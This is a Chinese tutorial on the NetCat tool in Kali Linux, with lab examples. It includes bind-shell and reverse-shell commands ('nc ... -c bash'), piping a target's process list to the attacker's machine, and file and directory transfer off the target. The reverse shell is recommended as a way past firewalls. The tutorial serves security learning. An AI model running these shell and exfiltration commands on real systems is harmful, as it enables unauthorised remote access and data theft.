本文主要是介绍《工具录》NetCat,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
工具录
- 1:NetCat
- 2:选项介绍
- 3:示例
- 3.1:正向连接(被动连接)
- 3.2:反向连接(主动连接)
- 3.3:信息收集
- 3.4:文件传输
- 4:其他
本文以 kali-linux-2023.3-vmware-amd64 为例。
1:NetCat
NetCat(又称为 " nc ")被广泛用于计算机网络之间的数据传输和网络调试。允许用户通过 TCP 或 UDP 协议发送和接收数据。
功能描述:
- 网络工具中的瑞士军刀
- 侦听模式 / 传输模式
- 传输文本信息
- 传输文件/目录
- 远程控制/木马
- 流媒体服务器
- 远程克隆硬盘
nc 缺乏加密和身份验证的能力。
不同系统或平台的 NetCat 命令不尽相同。
基本语法:
nc [选项]
2:选项介绍
选项总览:
┌──(root㉿kali)-[~]
└─# nc -h
[v1.10-47]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]-e filename program to exec after connect [dangerous!!]-b allow broadcasts-g gateway source-routing hop point[s], up to 8-G num source-routing pointer: 4, 8, 12, ...-h this cruft-i secs delay interval for lines sent, ports scanned-k set keepalive option on socket-l listen mode, for inbound connects-n numeric-only IP addresses, no DNS-o file hex dump of traffic-p port local port number-r randomize local and remote ports-q secs quit after EOF on stdin and delay of secs-s addr local source address-T tos set Type Of Service-t answer TELNET negotiation-u UDP mode-v verbose [use twice to be more verbose]-w secs timeout for connects and final net reads-C Send CRLF as line-ending-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
部分选项:
参数 | 说明 |
---|---|
-q | 程序会从标准输入(stdin)中读取,一旦读取到输入流的末尾(EOF),它会等待一段指定的时间(secs)后退出。 |
3:示例
3.1:正向连接(被动连接)
示例 3.1-1:正向连接,仅限于文本消息传输,无法使用命令。Server 开启端口后被 kali 连接。
# 1、Server(192.168.8.133):
nc -lnv -p 6666# 2、kali(192.168.8.128):
nc -nv 192.168.8.133 6666
示例 3.1-2:正向连接,可使用命令行。Server 开放自己的 bash shell,被 kali 连接。
# 1、Server(192.168.8.133):
nc -lnv -p 6666 -c bash# 2、kali(192.168.8.128):
nc -nv 192.168.8.133 6666
如果是 Windows 下 bash 换成 cmd。
3.2:反向连接(主动连接)
示例 3.2-1:反向连接,可使用命令行。kali 开启端口监听后,Server 主动连接 kali,并开放自己的 bash shell。
# 1、kali(192.168.8.128):
nc -lnvp 6666# 2、Server(192.168.8.133):
nc 192.168.8.128 6666 -c bash
因为防火墙的存在,通常反向连接(主动连接)比较常用,让目标机主动发送 shell。
3.3:信息收集
示例 3.3-1:使用反向连接,Server 上 ps aux
的结果会被保存到 kali 上的 test.txt。且完成后一秒自动断开连接。
# 1、kali(192.168.8.128):
nc -lnvp 6666 > /root/Desktop/test.txt# 2、Server(192.168.8.133):
ps aux | nc -nv 192.168.8.128 6666 -q 1
3.4:文件传输
示例3.4.1:使用反向连接,将 Server 上的 2.txt 文件传输到 kali 并被保存为 1.txt。
# 1、kali(192.168.8.128):
nc -lnvp 6666 > /root/Desktop/1.txt# 2、Server(192.168.8.133):
nc -nv 192.168.8.128 6666 < 2.txt -q 1
示例3.4.2:使用正向连接,将 Server 上的 ./test/ 目录传输到 kali 上。
# 1、Server(192.168.8.133):
tar -cvf - ./test/ | nc -lnvp 6666 -q 1# 2、kali(192.168.8.128):
nc -nv 192.168.8.132 6666 | tar -xvf - -C /root/Desktop/
4:其他
《netcat 使用教程》:
https://blog.csdn.net/qq_46137954/article/details/127478494
《瑞士军刀 Netcat》:
https://blog.csdn.net/qq_63844103/article/details/127681824
年年岁岁花相似,岁岁年年人不同。
——《白头吟》(唐)刘希夷
这篇关于《工具录》NetCat的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!